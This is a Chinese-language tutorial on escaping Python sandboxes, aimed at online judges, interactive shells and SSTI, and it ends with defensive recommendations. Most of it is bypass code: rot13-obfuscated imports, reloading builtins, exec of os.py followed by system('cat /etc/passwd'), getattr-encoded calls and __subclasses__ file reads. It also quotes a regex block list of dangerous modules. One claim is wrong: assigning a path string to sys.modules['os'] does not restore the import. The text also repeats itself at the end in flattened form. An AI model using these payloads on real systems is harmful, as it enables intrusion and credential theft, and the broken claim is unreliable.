Python沙箱逃逸的n种姿势
字数 995 2025-08-29 08:31:41

Python沙箱逃逸技术详解

0x00 Python沙箱逃逸概述

Python沙箱逃逸是指在受限的代码执行环境(如OJ平台或使用socat生成的交互式终端)中,绕过各种过滤和限制,最终获取shell权限的过程。主要目标包括:

  • 使用os包中的popen、system函数执行shell命令
  • 使用commands模块中的方法
  • 使用subprocess模块
  • 通过写文件到指定位置再配合其他手段

基本shell执行方法示例:

import os
import subprocess
import commands

os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'], shell=True)

0x01 import相关基础

防御者通常会检测敏感包的导入:

import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern, code)
if match:
    print "forbidden module import detected"
    raise Exception

绕过方法:

  1. 使用__import__函数
f3ck = __import__("pbzznaqf".decode('rot_13'))  # rot13解码后是"commands"
print f3ck.getoutput('ifconfig')
  1. 使用importlib库
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')

0x02 import进阶

Python内置函数属于__builtin__模块(python3中为builtins)。防御者可能删除危险函数:

del __builtin__.chr
chr(1)  # 将抛出NameError

绕过方法:

  1. 使用reload重新加载__builtin__
import imp
imp.reload(__builtin__)

0x03 import高级

Python模块查找路径:

sys.path  # 查看模块搜索路径
sys.modules  # 已加载模块字典

防御者可能删除模块引用:

sys.modules['os'] = None
import os  # 将失败

绕过方法:

  1. 手动恢复模块路径
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os  # 成功

0x04 直接执行模块代码

当无法导入模块时,可直接执行模块文件:

execfile('/usr/lib/python2.7/os.py')
system('cat /etc/passwd')  # 成功执行

或使用文件操作+exec:

with open('/usr/lib/python2.7/os.py') as f:
    exec(f.read())
system('ifconfig')

0x05 dir与__dict__

查看对象属性和方法:

dir(os)  # 列出os模块所有属性和方法
A.__dict__  # 查看类A的所有属性和方法

0x06 绕过字符串过滤

当函数名被过滤时,使用getattr动态获取:

import codecs
getattr(os, codecs.encode("flfgrz", 'rot_13'))('ifconfig')  # flfgrz rot13解码为system

字符串处理技巧:

s = "emit"
s = s[::-1]  # 反转字符串得到"time"
a[s]  # 等价于a['time']

0x07 获取当前模块引用

通过sys.modules获取当前模块:

main_module = sys.modules[__name__]
dir(main_module)  # 查看当前模块所有内容

0x08 func_code属性

获取函数字节码信息:

def f3ck(asd):
    a = 1
    b = "asdasd"
    c = ["asd", 1, None, {'1': 2}]
    
f3ck.func_code  # 获取代码对象
dir(f3ck.func_code)  # 查看代码对象属性
f3ck.func_code.co_consts  # 查看函数常量

使用dis模块反汇编字节码:

import dis
dis.dis(f3ck.func_code.co_code)

0x09 MRO相关操作

通过MRO获取父类和方法:

1..__class__.__mro__  # (float, object)
"".__class__.__mro__  # (str, basestring, object)

文件操作绕过示例:

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

0x10 伪Private属性

Python中的"私有"属性和方法(双下划线开头)实际上可通过特定方式访问:

class A:
    __a = 1
    b = 2
    def __c(self):
        print "asd"
    def d(self):
        print 'dsa'

dir(A)  # 显示['_A__a', '_A__c', 'b', 'd']
A._A__c(A())  # 调用"私有"方法

0x11 常见应用场景

  1. 在线代码运行环境

    • 通常过滤较少但环境受限
    • 后渗透工作可能较困难
  2. Python交互式shell

    • 根据业务场景有不同限制
    • 通常比完全沙箱环境容易突破
  3. SSTI(服务器端模板注入)

    • Flask等框架模板解析环境受限
    • 突破后可获取较高权限

防御建议

  1. 多层面防御:

    • 禁用危险模块
    • 删除危险builtin函数
    • 限制模块导入
    • 监控执行行为
  2. 深度防御:

    • 使用专用沙箱环境
    • 限制系统调用
    • 资源配额控制
    • 定期审计和更新
  3. 针对Python沙箱的专门防护:

    • 限制反射操作
    • 控制属性访问
    • 禁用字节码操作
    • 监控异常行为模式
Python沙箱逃逸技术详解 0x00 Python沙箱逃逸概述 Python沙箱逃逸是指在受限的代码执行环境(如OJ平台或使用socat生成的交互式终端)中,绕过各种过滤和限制,最终获取shell权限的过程。主要目标包括: 使用os包中的popen、system函数执行shell命令 使用commands模块中的方法 使用subprocess模块 通过写文件到指定位置再配合其他手段 基本shell执行方法示例: 0x01 import相关基础 防御者通常会检测敏感包的导入: 绕过方法: 使用 __import__ 函数 使用importlib库 0x02 import进阶 Python内置函数属于 __builtin__ 模块(python3中为 builtins )。防御者可能删除危险函数: 绕过方法: 使用reload重新加载 __builtin__ 0x03 import高级 Python模块查找路径: 防御者可能删除模块引用: 绕过方法: 手动恢复模块路径 0x04 直接执行模块代码 当无法导入模块时,可直接执行模块文件: 或使用文件操作+exec: 0x05 dir与__ dict__ 查看对象属性和方法: 0x06 绕过字符串过滤 当函数名被过滤时,使用getattr动态获取: 字符串处理技巧: 0x07 获取当前模块引用 通过sys.modules获取当前模块: 0x08 func_ code属性 获取函数字节码信息: 使用dis模块反汇编字节码: 0x09 MRO相关操作 通过MRO获取父类和方法: 文件操作绕过示例: 0x10 伪Private属性 Python中的"私有"属性和方法(双下划线开头)实际上可通过特定方式访问: 0x11 常见应用场景 在线代码运行环境 通常过滤较少但环境受限 后渗透工作可能较困难 Python交互式shell 根据业务场景有不同限制 通常比完全沙箱环境容易突破 SSTI(服务器端模板注入) Flask等框架模板解析环境受限 突破后可获取较高权限 防御建议 多层面防御: 禁用危险模块 删除危险builtin函数 限制模块导入 监控执行行为 深度防御: 使用专用沙箱环境 限制系统调用 资源配额控制 定期审计和更新 针对Python沙箱的专门防护: 限制反射操作 控制属性访问 禁用字节码操作 监控异常行为模式